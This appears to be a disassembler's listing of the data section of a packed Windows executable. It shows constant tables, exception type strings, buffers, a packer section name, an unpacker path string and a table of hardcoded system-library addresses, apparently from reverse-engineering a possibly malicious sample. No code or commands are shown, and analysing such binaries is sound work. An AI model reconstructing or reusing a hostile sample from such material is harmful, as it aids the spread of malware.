		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4228C8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_416FF0+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_422A28	dd offset off_418CB0	; DATA XREF: .nsp0:off_418CD8o
					; .nsp0:00418E04o ...
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_422A40	dd offset off_418CB0	; DATA XREF: .nsp0:off_418CF0o
					; .nsp0:00418D84o ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_422A60	dd offset off_418CB0	; DATA XREF: .nsp0:off_418D08o
					; .nsp0:00418D4Co ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_422A80	dd offset off_418CB0	; DATA XREF: .nsp0:off_418D90o
					; .nsp0:00418DD4o ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
off_422AA0	dd offset off_418CB0	; DATA XREF: .nsp0:off_418E10o
					; .nsp0:00418E4Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41537C
		align 10h
dword_422AC0	dd 0			; DATA XREF: sub_4010CA+18r
					; sub_401412+92w ...
dword_422AC4	dd 0			; DATA XREF: sub_40154B+19Cr
					; sub_401704+D9w ...
		dd 4AEh	dup(0)
dword_423D80	dd 6 dup(0)		; DATA XREF: sub_40154B+95o
					; sub_401704+65o ...
dword_423D98	dd 0			; DATA XREF: sub_401141+82w
					; sub_401141+FFo
dword_423D9C	dd 41h dup(0)		; DATA XREF: sub_401141+41o
dword_423EA0	dd 41h dup(0)		; DATA XREF: sub_401141+63o
dword_423FA4	dd 0			; DATA XREF: sub_401141+F5w
					; sub_401141+111r
dword_423FA8	dd 0			; DATA XREF: sub_401141+52w
dword_423FAC	dd 0			; DATA XREF: sub_401141+4Dw
					; sub_401141+D2r
dword_423FB0	dd 20h dup(0)		; DATA XREF: sub_401141+9Ao
					; sub_401141+B7o
dword_424030	dd 0			; DATA XREF: sub_401141+8Fw
dword_424034	dd 0			; DATA XREF: sub_401141+A4w
					; sub_401141+C1w
dword_424038	dd 0			; DATA XREF: sub_401141:loc_401307r
		align 10h
dword_424040	dd 0			; DATA XREF: sub_401141+190w
					; sub_401141+222o
dword_424044	dd 41h dup(0)		; DATA XREF: sub_401141+152o
dword_424148	dd 41h dup(0)		; DATA XREF: sub_401141+171o
dword_42424C	dd 0			; DATA XREF: sub_401141+218w
					; sub_401141+234r
dword_424250	dd 0			; DATA XREF: sub_401141+160w
dword_424254	dd 0			; DATA XREF: sub_401141+1F5r
dword_424258	dd 20h dup(0)		; DATA XREF: sub_401141+1A8o
					; sub_401141+1DAo
dword_4242D8	dd 0			; DATA XREF: sub_401141+19Dw
dword_4242DC	dd 0			; DATA XREF: sub_401141+1B2w
					; sub_401141+1E4w
dword_4242E0	dd 0			; DATA XREF: sub_401141:loc_4013C0r
dword_4242E4	dd 2 dup(0)		; DATA XREF: sub_401FE1+68o
dword_4242EC	dd 0			; DATA XREF: sub_401A91+13o
					; sub_4077FD+39D6o ...
byte_4242F0	db 0			; DATA XREF: sub_4022FD+10o
					; sub_4032EE+438o ...
		align 8
dword_4242F8	dd 2400h dup(0)		; DATA XREF: sub_403145+1Do
dword_42D2F8	dd 0Dh dup(0)		; DATA XREF: sub_403145+13o
					; sub_403804+Fo
dword_42D32C	dd 0			; DATA XREF: sub_403B83+C8o
dword_42D330	dd 0			; DATA XREF: sub_4043F8+2Aw
					; sub_4043F8+51r ...
dword_42D334	dd 0			; DATA XREF: sub_4023B8+45r
					; sub_402E09+ACr ...
		dd 107h	dup(0)
dword_42D754	dd 77C72C6Bh		; DATA XREF: sub_4045F0+42Fw
					; sub_4045F0+473r
dword_42D758	dd 77EBA994h		; DATA XREF: sub_4045F0+65w
					; sub_405D93+EEr
dword_42D75C	dd 7622A3F4h		; DATA XREF: sub_4045F0+793w
					; sub_4045F0+808r ...
dword_42D760	dd 71C45229h		; DATA XREF: sub_4045F0+960w
					; sub_4045F0+9BEr
dword_42D764	dd 71C24870h		; DATA XREF: sub_4045F0+912w
					; sub_4045F0+98Er ...
dword_42D768	dd 77C71BB0h		; DATA XREF: sub_4045F0+415w
					; sub_4045F0+463r
dword_42D76C	dd 71C4502Ch		; DATA XREF: sub_4045F0+953w
					; sub_4045F0+9B6r
dword_42D770	dd 77DE801Bh		; DATA XREF: sub_4045F0+2FAw
					; sub_4045F0+34Fr
dword_42D774	dd 77DDACABh		; DATA XREF: sub_4045F0+397w
					; sub_40B807+11Er
dword_42D778	dd 77DE8075h		; DATA XREF: sub_4045F0+307w
					; sub_4045F0+357r
dword_42D77C	dd 77DD7496h		; DATA XREF: sub_4045F0+348w
dword_42D780	dd 71AB1B7Bh		; DATA XREF: sub_4045F0+4E2w
dword_42D784	dd 77E686CCh		; DATA XREF: sub_4038CB+1Br
					; sub_4045F0+72w ...
dword_42D788	dd 71C2498Bh		; DATA XREF: sub_4045F0+905w
					; sub_4045F0+981r ...
dword_42D78C	dd 77DDAB2Fh		; DATA XREF: sub_4045F0+32Ew
					; sub_4045F0+36Fr
dword_42D790	dd 7620E8C3h		; DATA XREF: sub_4045F0+7E1w
					; sub_4045F0+834r
dword_42D794	dd 77DD23D7h		; DATA XREF: sub_4045F0+24Bw
					; sub_4045F0+27Cr
dword_42D798	dd 76214750h		; DATA XREF: sub_4032EE+3Ar
					; sub_4045F0+7D4w ...
dword_42D79C	dd 77E6D75Bh		; DATA XREF: sub_4045F0+B3w
dword_42D7A0	dd 7620BD61h		; DATA XREF: sub_4032EE+109r
					; sub_4045F0+7EEw ...
dword_42D7A4	dd 71AB60C9h		; DATA XREF: sub_4045F0+4D5w
					; sub_4045F0+658r ...
dword_42D7A8	dd 77EBA6E9h		; DATA XREF: sub_4045F0+58w
					; sub_4045F0+CAr ...
dword_42D7AC	dd 76D62A58h		; DATA XREF: sub_4045F0+8BCw
					; sub_405985+11Ar
dword_42D7B0	dd 76F36EAAh		; DATA XREF: sub_4045F0+A0Cw
					; sub_4045F0+A13r ...
dword_42D7B4	dd 77E802FCh		; DATA XREF: sub_4045F0+A6w
					; sub_4045F0+F2r
dword_42D7B8	dd 77C75455h		; DATA XREF: sub_4045F0+408w
					; sub_4045F0+45Br
dword_42D7BC	dd 71AB12A7h		; DATA XREF: sub_4013CA+20r
					; sub_4045F0+57Ew ...
dword_42D7C0	dd 71C574FAh		; DATA XREF: sub_4045F0+946w
					; sub_4045F0+9AEr
dword_42D7C4	dd 71AB1746h		; DATA XREF: sub_4045F0+571w
					; sub_4045F0+6DCr
dword_42D7C8	dd 71B28D0Dh		; DATA XREF: sub_4045F0+AC7w
dword_42D7CC	dd 762211EFh		; DATA XREF: sub_4045F0+786w
					; sub_4045F0+7F5r ...
dword_42D7D0	dd 77D902E3h		; DATA XREF: sub_4045F0+1B3w
					; sub_4054F9+15r
dword_42D7D4	dd 71C2FA86h		; DATA XREF: sub_4045F0+91Fw
					; sub_4045F0+996r ...
dword_42D7D8	dd 77DE1291h		; DATA XREF: sub_4045F0+314w
					; sub_4045F0+35Fr
dword_42D7DC	dd 77E2C1B3h		; DATA XREF: sub_4045F0+321w
					; sub_4045F0+367r
dword_42D7E0	dd 71ABF628h		; DATA XREF: sub_4045F0+634w
dword_42D7E4	dd 71AB1836h		; DATA XREF: sub_4032EE+459r
					; sub_403B83+1Dr ...
dword_42D7E8	dd 77C72889h		; DATA XREF: sub_4045F0+43Cw
dword_42D7EC	dd 71C453F8h		; DATA XREF: sub_4045F0+96Dw
					; sub_4045F0+9C6r
dword_42D7F0	dd 77DD5C55h		; DATA XREF: sub_4031BC+55r
					; sub_4045F0+258w ...
dword_42D7F4	dd 77E96645h		; DATA XREF: sub_403B00+25r
					; sub_403B00+39r ...
dword_42D7F8	dd 77428B97h		; DATA XREF: sub_4032EE+331r
					; sub_4045F0+B14w ...
dword_42D7FC	dd 71AB41DAh		; DATA XREF: sub_4045F0+4BBw
					; sub_4045F0+63Br ...
dword_42D800	dd 762059A3h		; DATA XREF: sub_4045F0+7ADw
					; sub_4045F0+818r
dword_42D804	dd 71C4A1B4h		; DATA XREF: sub_4045F0+92Cw
					; sub_4045F0+99Er
dword_42D808	dd 1F7CD214h		; DATA XREF: sub_4045F0+B85w
					; sub_4045F0+BB6r
dword_42D80C	dd 76D629BBh		; DATA XREF: sub_4045F0+8A2w
					; sub_4045F0+8B6r ...
dword_42D810	dd 1F7B9D96h		; DATA XREF: sub_4045F0+B9Fw
dword_42D814	dd 71AB1740h		; DATA XREF: sub_4045F0+4FCw
					; sub_4045F0+670r ...
dword_42D818	dd 7620AFB6h		; DATA XREF: sub_4045F0+7C7w
					; sub_4045F0+7FBr
dword_42D81C	dd 77D45B19h		; DATA XREF: sub_4045F0+172w
					; sub_4045F0+1C2r
dword_42D820	dd 71AB157Eh		; DATA XREF: sub_4045F0+600w
					; sub_4045F0+72Cr ...
dword_42D824	dd 71AB3E5Dh		; DATA XREF: sub_4014AE+59r
					; sub_4023B8+F4r ...
dword_42D828	dd 71AB14DCh		; DATA XREF: sub_4045F0+4EFw
					; sub_4045F0+664r
dword_42D82C	dd 0CC0004h		; DATA XREF: sub_4032EE+34r
					; sub_4045F0+863w ...
dword_42D830	dd 77DD590Bh		; DATA XREF: sub_4031BC+2Ar
					; sub_4045F0+231w ...
dword_42D834	dd 71ABD755h		; DATA XREF: sub_4045F0+627w
					; sub_4045F0+744r ...
dword_42D838	dd 77DF7311h		; DATA XREF: sub_4045F0+2B5w
					; sub_4045F0+2C9r ...
dword_42D83C	dd 77DDA2AFh		; DATA XREF: sub_4045F0+33Bw
					; sub_4045F0+377r
dword_42D840	dd 1F7CD927h		; DATA XREF: sub_4045F0+B78w
					; sub_4045F0+BAEr
dword_42D844	dd 76206853h		; DATA XREF: sub_4045F0+7A0w
					; sub_4045F0+810r
dword_42D848	dd 77D5E310h		; DATA XREF: sub_4045F0+18Cw
					; sub_4045F0+1D2r ...
dword_42D84C	dd 76206B7Fh		; DATA XREF: sub_4045F0+7BAw
					; sub_4045F0+820r
dword_42D850	dd 71AB1444h		; DATA XREF: sub_4045F0+5ACw
					; sub_4045F0+6FCr ...
dword_42D854	dd 77DD189Ah		; DATA XREF: sub_4031BC+5Er
					; sub_4045F0+265w ...
dword_42D858	dd 71AB3F8Dh		; DATA XREF: sub_4045F0+5F3w
					; sub_4045F0+724r ...
dword_42D85C	dd 77DD5D20h		; DATA XREF: sub_4045F0+2A8w
					; sub_4045F0+2BCr ...
dword_42D860	dd 71AB1890h		; DATA XREF: sub_4014AE+82r
					; sub_4045F0+5CCw ...
dword_42D864	dd 77C76B34h		; DATA XREF: sub_4045F0+3D4w
					; sub_4045F0+436r
dword_42D868	dd 77D5E38Ch		; DATA XREF: sub_4045F0+199w
					; sub_4045F0+1DAr ...
dword_42D86C	dd 77DDA20Bh		; DATA XREF: sub_4045F0+2EDw
					; sub_4045F0+342r
dword_42D870	dd 76F36EEBh		; DATA XREF: sub_4045F0+A19w
dword_42D874	dd 71AB12A7h		; DATA XREF: sub_4013CA+2Br
					; sub_401F9C+7r ...
dword_42D878	dd 71AB1746h		; DATA XREF: sub_4014AE+38r
					; sub_4023B8+D6r ...
dword_42D87C	dd 77EBA595h		; DATA XREF: sub_4045F0+4Bw
					; sub_4045F0+C2r ...
dword_42D880	dd 77C7531Dh		; DATA XREF: sub_4045F0+3FBw
					; sub_4045F0+453r
dword_42D884	dd 77D4BDCAh		; DATA XREF: sub_4045F0+165w
					; sub_4045F0+1BAr ...
dword_42D888	dd 71C3516Ah		; DATA XREF: sub_4045F0+987w
dword_42D88C	dd 71AB32CAh		; DATA XREF: sub_4045F0+60Dw
					; sub_4045F0+734r
dword_42D890	dd 71AB5690h		; DATA XREF: sub_401F1D+75r
					; sub_402E09+79r ...
dword_42D894	dd 1F7CB8F8h		; DATA XREF: sub_4045F0+B92w
					; sub_4045F0+BBEr
dword_42D898	dd 77EBB1E7h		; DATA XREF: sub_4045F0+3Ew
					; sub_4045F0+BAr ...
dword_42D89C	dd 77DD59F0h		; DATA XREF: sub_4031BC+49r
					; sub_4045F0+23Ew ...
dword_42D8A0	dd 71AB5DE2h		; DATA XREF: sub_4045F0+5D9w
					; sub_4045F0+714r ...
dword_42D8A4	dd 71AB3ECEh		; DATA XREF: sub_4045F0+5BFw
					; sub_4045F0+704r ...
dword_42D8A8	dd 76204E4Dh		; DATA XREF: sub_4032EE+4C9r
					; sub_4045F0+801w
dword_42D8AC	dd 0			; DATA XREF: sub_4045F0+112w
dword_42D8B0	dd 1F7D886Ah		; DATA XREF: sub_4045F0+B5Ew
					; sub_4045F0+B99r
dword_42D8B4	dd 71AB12F8h		; DATA XREF: sub_401704+2Cr
					; sub_4023B8+E4r ...
dword_42D8B8	dd 77C76551h		; DATA XREF: sub_4045F0+3E1w
					; sub_4045F0+443r
dword_42D8BC	dd 77C729E2h		; DATA XREF: sub_4045F0+422w
					; sub_4045F0+46Br
dword_42D8C0	dd 77C7212Fh		; DATA XREF: sub_4045F0+3EEw
					; sub_4045F0+44Br
dword_42D8C4	dd 71AB1AF4h		; DATA XREF: sub_401F9C+1Br
					; sub_401F9C+35r ...
dword_42D8C8	dd 77D5E303h		; DATA XREF: sub_4045F0+1A6w
					; sub_4045F0+1E2r ...
dword_42D8CC	dd 71C4576Ch		; DATA XREF: sub_4045F0+97Aw
					; sub_4045F0+9CEr
dword_42D8D0	dd 77D4702Fh		; DATA XREF: sub_4045F0+158w
					; sub_4045F0+1ADr ...
dword_42D8D4	dd 77E6C0E3h		; DATA XREF: sub_403882+4r
					; sub_4045F0+8Cw ...
dword_42D8D8	dd 71AB1ED3h		; DATA XREF: sub_4045F0+598w
					; sub_4045F0+6ECr ...
dword_42D8DC	dd 71B2A381h		; DATA XREF: sub_4045F0+ABAw
					; sub_4045F0+AD6r
dword_42D8E0	dd 77DDA595h		; DATA XREF: sub_4045F0+2C2w
					; sub_405D28+55r
dword_42D8E4	dd 77DD22EAh		; DATA XREF: sub_4045F0+224w
					; sub_4045F0+25Fr ...
dword_42D8E8	dd 773F97B0h		; DATA XREF: sub_4045F0+B21w
dword_42D8EC	dd 76D67A29h		; DATA XREF: sub_4045F0+A63w
					; sub_405811+8Fr
dword_42D8F0	dd 76D674FAh		; DATA XREF: sub_4045F0+A56w
					; sub_4045F0+A5Dr ...
dword_42D8F4	dd 71AB3C22h		; DATA XREF: sub_4014AE+18r
					; sub_402E09+44r ...
dword_42D8F8	dd 71AB2BBFh		; DATA XREF: sub_4045F0+61Aw
					; sub_4045F0+73Cr ...
dword_42D8FC	dd 1F7BA3A9h		; DATA XREF: sub_4045F0+B6Bw
					; sub_4045F0+BA6r
dword_42D900	dd 71AB401Ch		; DATA XREF: sub_4010CA+1Fr
					; sub_40154B+E1r ...
dword_42D904	dd 71C214BAh		; DATA XREF: sub_4045F0+939w
					; sub_4045F0+9A6r ...
dword_42D908	dd 71AB868Dh		; DATA XREF: sub_4045F0+5E6w
					; sub_4045F0+71Cr ...
dword_42D90C	dd 71AB1A6Dh		; DATA XREF: sub_4014AE+8Br
					; sub_4023B8+185r ...
dword_42D910	dd 71AB155Ah		; DATA XREF: sub_4014AE+4Cr
					; sub_4045F0+523w ...
dword_42D914	dd 71B22C25h		; DATA XREF: sub_4045F0+AADw
					; sub_4045F0+ACEr
dword_42D918	dd 71AB5A01h		; DATA XREF: sub_4045F0+4C8w
					; sub_4045F0+64Cr ...
dword_42D91C	dd 71B2ACCBh		; DATA XREF: sub_4045F0+AA0w
					; sub_4045F0+AC1r
dword_42D920	dd 77E78C17h		; DATA XREF: sub_4045F0+31w
					; sub_4045F0+ADr ...
dword_42D924	dd 77D49A11h		; DATA XREF: sub_4045F0+17Fw
					; sub_4045F0+1CAr
dword_42D928	dd 76D62A37h		; DATA XREF: sub_4045F0+8AFw
					; sub_4045F0+8C3r ...
dword_42D92C	dd 77E6CBF9h		; DATA XREF: sub_4045F0+99w
					; sub_4045F0+EAr ...
dword_42D930	dd 0			; DATA XREF: sub_4045F0:loc_4046EEw
					; sub_4045F0+12Bw
dword_42D934	dd 0			; DATA XREF: sub_4045F0+126w
dword_42D938	dd 0			; DATA XREF: sub_4045F0:loc_4047EBw
dword_42D93C	dd 0			; DATA XREF: sub_4045F0+1F6w
dword_42D940	dd 0			; DATA XREF: sub_4045F0:loc_404880w
					; sub_4045F0:loc_4048C5w ...
dword_42D944	dd 0			; DATA XREF: sub_4045F0+3A6w
dword_42D948	dd 0			; DATA XREF: sub_4045F0:loc_404A7Cw
dword_42D94C	dd 0			; DATA XREF: sub_4045F0+487w
dword_42D950	dd 0			; DATA XREF: sub_4045F0:loc_404D4Dw
dword_42D954	dd 0			; DATA XREF: sub_4045F0+758w
dword_42D958	dd 0			; DATA XREF: sub_4045F0:loc_404E38w
					; sub_4045F0+877w ...
dword_42D95C	dd 0			; DATA XREF: sub_4045F0+872w
dword_42D960	dd 0			; DATA XREF: sub_4045F0:loc_404ECCw
					; sub_4077FD:loc_409152r
dword_42D964	dd 0			; DATA XREF: sub_4045F0+8D7w
dword_42D968	dd 0			; DATA XREF: sub_4045F0:loc_404FD7w
					; sub_4069FF+170r ...
dword_42D96C	dd 0			; DATA XREF: sub_4045F0+9E2w
dword_42D970	dd 0			; DATA XREF: sub_4045F0:loc_405021w
dword_42D974	dd 0			; DATA XREF: sub_4045F0+A2Cw
dword_42D978	dd 0			; DATA XREF: sub_4045F0:loc_40506Bw
dword_42D97C	dd 0			; DATA XREF: sub_4045F0+A76w
dword_42D980	dd 0			; DATA XREF: sub_4045F0:loc_4050DFw
dword_42D984	dd 0			; DATA XREF: sub_4045F0+AEAw
dword_42D988	dd 0			; DATA XREF: sub_4045F0:loc_405129w
dword_42D98C	dd 0			; DATA XREF: sub_4045F0+B34w
dword_42D990	dd 0			; DATA XREF: sub_4045F0:loc_4051C7w
dword_42D994	dd 0			; DATA XREF: sub_4045F0+BD2w
		align 10h
dword_42D9A0	dd 118h	dup(0)		; DATA XREF: sub_40530E+6Ao
dword_42DE00	dd 0			; DATA XREF: sub_4056A3+45w
					; sub_4056A3+4Dr ...
		dd 99h dup(0)
byte_42E068	db 0			; DATA XREF: sub_4056A3+29r
					; sub_4056A3+34w
		align 4
		dd 101h	dup(0)
dword_42E470	dd 4 dup(0)		; DATA XREF: sub_4058DC+32o
dword_42E480	dd 82h dup(0)		; DATA XREF: sub_4067E1+8Do
dword_42E688	dd 0			; DATA XREF: sub_40304D+Ao
					; sub_40304D+44r ...
		dd 5 dup(0)
dword_42E6A0	dd 0			; DATA XREF: sub_40304D+60r
					; sub_4077FD+881r
		dd 2D9h	dup(0)
dword_42F208	dd 0			; DATA XREF: sub_40154B+6Br
					; sub_40304D+2Do ...
		dd 7Fh dup(0)
dword_42F408	dd 0			; DATA XREF: sub_40C062+4Cw
					; sub_40C19D+3Aw ...
dword_42F40C	dd 0			; DATA XREF: sub_40154B:loc_4016E1r
					; sub_401704+12Cw ...
dword_42F410	dd 0			; DATA XREF: sub_40C062+45w
					; sub_40C19D+34r ...
dword_42F414	dd 0			; DATA XREF: sub_403B83+Cr
					; sub_406055+7Bw ...
dword_42F418	dd 0			; DATA XREF: sub_4061D2+11Ew
					; sub_4063A4+53r ...
dword_42F41C	dd 0			; DATA XREF: sub_401141+11Fw
					; sub_401141+244w ...
byte_42F420	db 0			; DATA XREF: sub_40752C+91o
					; sub_40C062+59w ...
		align 4
		dd 1789h dup(0)
		db 0
byte_435249	db 3 dup(0)		; DATA XREF: .nsp0:off_41D754o
		dd 4141h dup(0)
dword_445750	dd 0F126h dup(0)	; DATA XREF: .nsp0:off_41C280o
dword_481BE8	dd 1Bh			; DATA XREF: sub_401000:loc_40106Er
					; sub_407041+42w ...
		align 10h
dword_481BF0	dd 0			; DATA XREF: sub_407041+407o
dword_481BF4	dd 20h dup(0)		; DATA XREF: sub_407041+394o
dword_481C74	dd 10h dup(0)		; DATA XREF: sub_407041+3ABo
dword_481CB4	dd 24h dup(0)		; DATA XREF: sub_407041+3C2o
dword_481D44	dd 0			; DATA XREF: sub_407041+3B6w
					; sub_407041+467w ...
dword_481D48	dd 0			; DATA XREF: sub_407041+3D5w
		dd 2 dup(0)
		db 0
byte_481D55	db 0			; DATA XREF: sub_407681+28r
					; sub_407681+30o
		align 4
dword_481D58	dd 0			; DATA XREF: sub_407041:loc_407441w
					; sub_407041+41Dr ...
dword_481D5C	dd 0			; DATA XREF: sub_407041+38Dw
					; sub_4077FD+7F4r
dword_481D60	dd 0Eh dup(0)		; DATA XREF: sub_40B6FE+3Eo
dword_481D98	dd 0			; DATA XREF: sub_40CEB9+Aw
		align 10h
dword_481DA0	dd 0			; DATA XREF: sub_40E2E2+5Er
					; sub_40E2E2+A4w
		align 8
word_481DA8	dw 0			; DATA XREF: sub_40E2E2+55r
					; sub_40E2E2+9Ao
word_481DAA	dw 0			; DATA XREF: sub_40E2E2+48r
		db 2 dup(0)
word_481DAE	dw 0			; DATA XREF: sub_40E2E2+3Br
word_481DB0	dw 0			; DATA XREF: sub_40E2E2+2Er
word_481DB2	dw 0			; DATA XREF: sub_40E2E2+21r
		align 8
dword_481DB8	dd 0			; DATA XREF: sub_40E6E9+3Br
					; sub_40E6E9+91w
dword_481DBC	dd 0			; DATA XREF: sub_40DE14+2Bw
					; sub_40E0C3+1B9w ...
dword_481DC0	dd 0			; DATA XREF: sub_40DE14+35w
					; sub_412BBE:loc_412C58w ...
dword_481DC4	dd 0			; DATA XREF: sub_4157AA+13Ar
dword_481DC8	dd 0A28h		; DATA XREF: sub_40EB84+52w
dword_481DCC	dd 501h			; DATA XREF: sub_40EB84+49w
dword_481DD0	dd 5			; DATA XREF: sub_40EB84+3Ew
dword_481DD4	dd 1			; DATA XREF: sub_40EB84+30w
dword_481DD8	dd 1			; DATA XREF: sub_407041:loc_407324r
					; sub_414034+91w
dword_481DDC	dd 340B20h		; DATA XREF: sub_407041+2ECr
					; sub_407041+30Cr ...
		dd 0
dword_481DE4	dd 340B48h		; DATA XREF: sub_413F7B+44w
					; sub_416D53+9r ...
dword_481DE8	dd 0			; DATA XREF: sub_40C2A4+16o
					; sub_40C2C3+19o ...
dword_481DEC	dd 0			; DATA XREF: sub_40C257+3Do
					; sub_416D53+16r ...
		dd 0
off_481DF4	dd offset aCM_unpackerPac ; DATA XREF: sub_414034+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_481DFC	db 0			; DATA XREF: sub_40E7D4+2Dw
					; sub_414A88+5r
		align 10h
dword_481E00	dd 0			; DATA XREF: sub_40E7D4+27w
dword_481E04	dd 0			; DATA XREF: sub_40E7D4+4r
					; sub_40E7D4+8Bw
dword_481E08	dd 0			; DATA XREF: sub_40EB84+84w
					; sub_413F7B:loc_413F8Dr ...
		align 10h
dword_481E10	dd 0			; DATA XREF: sub_40EC7Ar sub_40EC9Fr ...
dword_481E14	dd 0			; DATA XREF: sub_40CCCFr
					; sub_40DB08:loc_40DC24r ...
dword_481E18	dd 0			; DATA XREF: sub_410093r
dword_481E1C	dd 0			; DATA XREF: sub_410F61+4Bw
					; sub_41107A+2Dw ...
dword_481E20	dd 0			; DATA XREF: sub_411EAC+11r
					; sub_411FB0+1Ar ...
byte_481E24	db 0			; DATA XREF: sub_411EAC+3r
					; sub_411EAC+98r ...
		align 4
dword_481E28	dd 0			; DATA XREF: sub_411FB0+11r
					; sub_41208E+21w ...
byte_481E2C	db 0			; DATA XREF: sub_41208E+51w
		align 10h
dword_481E30	dd 0			; DATA XREF: sub_412284+4Er
					; sub_41265F+3Ar ...
dword_481E34	dd 0			; DATA XREF: sub_412284+5Cr
					; sub_41265F+43r ...
dword_481E38	dd 0			; DATA XREF: sub_40D142+7Ar
					; sub_41242B+5r
dword_481E3C	dd 0			; DATA XREF: sub_412A3C+29r
dword_481E40	dd 1			; DATA XREF: sub_413455+28r
					; sub_413455+4Cw ...
		dd 2 dup(0)
dword_481E4C	dd 0			; DATA XREF: sub_40E530+4r
					; sub_40E530+9Dr ...
		dd 3 dup(0)
dword_481E5C	dd 0			; DATA XREF: sub_413455+C0r
					; sub_413812+3Ar ...
		dd 0
dword_481E64	dd 1			; DATA XREF: sub_413679:loc_4137F4r
					; sub_413812+4w ...
dword_481E68	dd 0			; DATA XREF: sub_413AE3+37r
		align 10h
dword_481E70	dd 0			; DATA XREF: sub_413D9F+3Ar
					; sub_413D9F+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_414034:loc_41404Bo
					; .nsp0:off_481DF4o
		align 10h
		dd 3Ah dup(0)
dword_481F78	dd 1			; DATA XREF: sub_414281+2r
					; sub_414281+23w ...
dword_481F7C	dd 0			; DATA XREF: sub_414640+21r
dword_481F80	dd 0			; DATA XREF: sub_413078+154w
					; sub_413AE3:loc_413B0Cw ...
		align 8
word_481F88	dw 0			; DATA XREF: sub_415259+1Ao
					; sub_415259+46r
byte_481F8A	db 0			; DATA XREF: sub_415259+39r
		align 4
dword_481F8C	dd 7 dup(0)		; DATA XREF: sub_415259+52o
dword_481FA8	dd 0			; DATA XREF: sub_415259+40w
					; sub_415259+5Co
dword_481FAC	dd 0			; DATA XREF: sub_415259+4Dw
dword_481FB0	dd 0			; DATA XREF: sub_415259+31w
dword_481FB4	dd 0			; DATA XREF: sub_415259+52w
dword_481FB8	dd 77C26E79h		; DATA XREF: sub_41537C:loc_41539Fr
					; sub_41537C+38r ...
dword_481FBC	dd 1			; DATA XREF: sub_415447+26r
					; sub_415447:loc_4154B1w
dword_481FC0	dd 0			; DATA XREF: sub_413078+7r
		align 8
dword_481FC8	dd 0			; DATA XREF: sub_415A78+11w
					; sub_415A78+63w ...
		align 10h
dword_481FD0	dd 0			; DATA XREF: sub_415A78+33o
					; sub_415A78+46r
dword_481FD4	dd 10h dup(0)		; DATA XREF: sub_415A78+C1o
word_482014	dw 0			; DATA XREF: sub_415CD6+A8r
word_482016	dw 0			; DATA XREF: sub_415A78+54r
					; sub_415CD6+DBr ...
word_482018	dw 0			; DATA XREF: sub_415CD6+CAr
word_48201A	dw 0			; DATA XREF: sub_415CD6+D3r
					; sub_415CD6:loc_415DC8r
word_48201C	dw 0			; DATA XREF: sub_415CD6+C0r
word_48201E	dw 0			; DATA XREF: sub_415CD6+B8r
word_482020	dw 0			; DATA XREF: sub_415CD6+B0r
word_482022	dw 0			; DATA XREF: sub_415CD6+9Er
dword_482024	dd 0			; DATA XREF: sub_415A78+4Br
dword_482028	dd 10h dup(0)		; DATA XREF: sub_415A78+FBo
word_482068	dw 0			; DATA XREF: sub_415CD6+46r
word_48206A	dw 0			; DATA XREF: sub_415A78:loc_415AEFr
					; sub_415CD6+78r ...
word_48206C	dw 0			; DATA XREF: sub_415CD6+67r
word_48206E	dw 0			; DATA XREF: sub_415CD6+70r
					; sub_415CD6:loc_415D5Ar
word_482070	dw 0			; DATA XREF: sub_415CD6+5Dr
word_482072	dw 0			; DATA XREF: sub_415CD6+55r
word_482074	dw 0			; DATA XREF: sub_415CD6+4Dr
word_482076	dw 0			; DATA XREF: sub_415CD6+3Er
dword_482078	dd 0			; DATA XREF: sub_415A78+80r
dword_48207C	dd 0			; DATA XREF: sub_415A78+132r
					; sub_415A78:loc_415BC4r ...
